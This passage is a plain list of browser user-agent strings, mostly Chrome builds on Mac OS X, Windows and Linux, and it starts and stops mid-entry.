Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/12.0.742.91 -Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 -Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 -Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 -Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.0 Safari/537.13 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.940.0 Safari/535.8 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/537.11 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 -Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 -Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 -Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 -Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like 